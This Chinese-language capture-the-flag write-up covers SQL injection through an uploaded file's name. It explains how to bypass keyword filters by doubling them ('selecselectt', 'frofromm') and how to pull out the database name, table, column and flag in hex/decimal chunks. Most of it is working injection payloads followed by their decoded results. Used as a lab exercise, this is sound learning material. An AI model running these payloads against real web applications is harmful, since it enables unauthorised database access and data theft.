打开实验环境:
实验准备:chrome、firefox+Burp
一进来就看到提示注册个账号,好吧,随便注册个 admin ,然后登录
看见了上传文件的按钮,以及注销账号;
先随便上传个图片;
发现,上传的文件名显示出来了,这里就有文件名注入的想法了;经过后面的尝试,发现文件名写入 select 和 from 无返回的文件名,也就是这俩个单词被过滤了;
这里用Burp抓包 修改文件名为 select;from.jpg ,看到了返回的文件名只有 ;.jpg
开代理我就不说了,上一章upload1中有提到,在火狐开启8080端口的代理,提交上传文件表单 ,到 Burp 里拦截 下来,这边火狐的代理就不要关了,从 chrome 再次登录 admin账号刷新看页面返回;(因为用Burp提交后有个链接跳转,就是跳到主页登录页面,在Burp下是看不到的,所以为了节省时间,查看返回结果用 chrom浏览器 ;Burp 提交后从 谷歌刷新就能看到 返回的结果)
select 双写绕过就行 selecselectt ;from同理
构造pyload:'+(selecselectt conv(substr(hex(Database()),1,12),16,10))+'.jpg 先看图在解释
'+(selecselectt conv(substr(hex(Database()),1,12),16,10))+'.jpg
解释:
database() 大小写看着给,本来是以为有过滤它的,其实没有;
hex(xxx) 把取到的数据进行十六进制加密,防止过滤字符,不给回显;
substr(xxx,1,12) 把取到的数据,截取一部分拿出来,先拿12个,防止长度限制不给回显;后面每次拿12个;如 13,12 25,12
selecselectt = select 查询语句
conv(xxx,16,10) 把 十六进制 转换为 十进制 //为什么,它过滤回显 ,十六进制内若存在 字符 ,那么字符之后的数据就被干掉了;下面截图有提到
现在拿到了编码后的数据库名;因为构造的pyload就是database()查当前数据库名;
131277325825392 解码后为 web_up
推荐个十六进制转字符的网站;python2下也可以用: print '7765625f7570'.decode('hex') python的这个是十六进制转字符的;十进制转十六只需 print hex(131277325825392)
要截的图片有点多,显得好多鱼,就不截图了;在网站里可以先把十进制转十六进制,在从十六进制转字符;下面就直接说 十进制的解码后的字符了;
构造 pyload取省下的数据库名: '+(selecselectt conv(substr(hex(Database()),13,12),16,10))+'.jpg
1819238756 = load
结合上面的数据库名就是 : web_upload
构造pyload取表名:'+(selselectect CONV(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg 这是第一段数据;先看图在解释
114784820031327 = hello_
构造pyload取表名:'+(selselectect CONV(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg 这是第二段
112615676665705 = flag_i
构造pyload取表名:'+(selselectect CONV(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg 这是第三段
126853610566245 = s_here
表名 = hello_flag_is_here 这是前面三段组合起来的,现在完整了;
selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1
=select table_name from information_schema.tables where table_schema='数据库名' limit 1,1
上面用到的命令,其实玩过SQL注入的都明白;
information_schema.tables 这里面有所有的数据库的表名,所有,看它 table 都带 s ;
table_schema 是mysql中定义的数据库的结构,表示所有的数据库名,这里查到的数据库名排上用场了,查表的时候从这么多数据库里指向 web_upload 这个数据库;
table_name 字面意思,表名
limit 1,1 指向当前位置1取第一个,用在这里表示,第一个表,第二个表……;不用limit 他会把查到的表名都输出出来,正常是这样,晓得这题的尿性,当然不能满足你了,它最多输出1个,所以要用limit
构造pylaod取字段名:'+(selselectect conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg 命令跟查表很相似;
115858377367398 = i_am_f
细心的已经发现 limit 0,1 变了,和之前不一样,其实limit这条命令查数据 是从 0开始的,0就是实际的第一条,因为这个表只有第一条存在字段;
提问:查数据表的时候用的是 limit 1,1啊! 这实际上是数据库中默认排序下 第二个数据表,第一个不是需要的;
构造pylaod取字段名:'+(selselectect conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg 第二段,不截图了,直接上结果
返回: 7102823 = lag
连起来就是 i_am_flag 很明显这就是需要的字段;
构造pyload取字段值:'+(selselectect conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg
第一段返回值: 36427215695199 = !!_@m_
构造pyload取字段值:'+(selselectect conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'.jpg
第二段返回值: 92806431727430 = Th.e_F
构造pyload取字段值:'+(selselectect conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'.jpg
第三段返回值: 560750951 = !lag
组合起来: !!_@m_Th.e_F!lag
这就是flag了;
补充上面疑点:第一个表不查,直接就查第二个了,limit 0,1 如何 ,测试后 表名为:filesiles 不是需要的,不是关注点,到这就不要再查他的字段啦,燃烧卡路里也不带这样干的;
第二个疑点:为什么一定要用conv把十六进制转十进制;
在查询表名 第一段的时候, 114784820031327 十六进制为: 68656c6c6f5f 废话不多说,操作
去掉conv操作一遍,这是查表名的第一段
'+(selselectect substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12))+'.jpg
提交返回:68656
对比 68656c6c6f5f 用十进制转换来的
很明显到c就被截断了,这也是题目很狗的一处;不截断的话一次能取12个十六进制的数,那感觉就很快乐。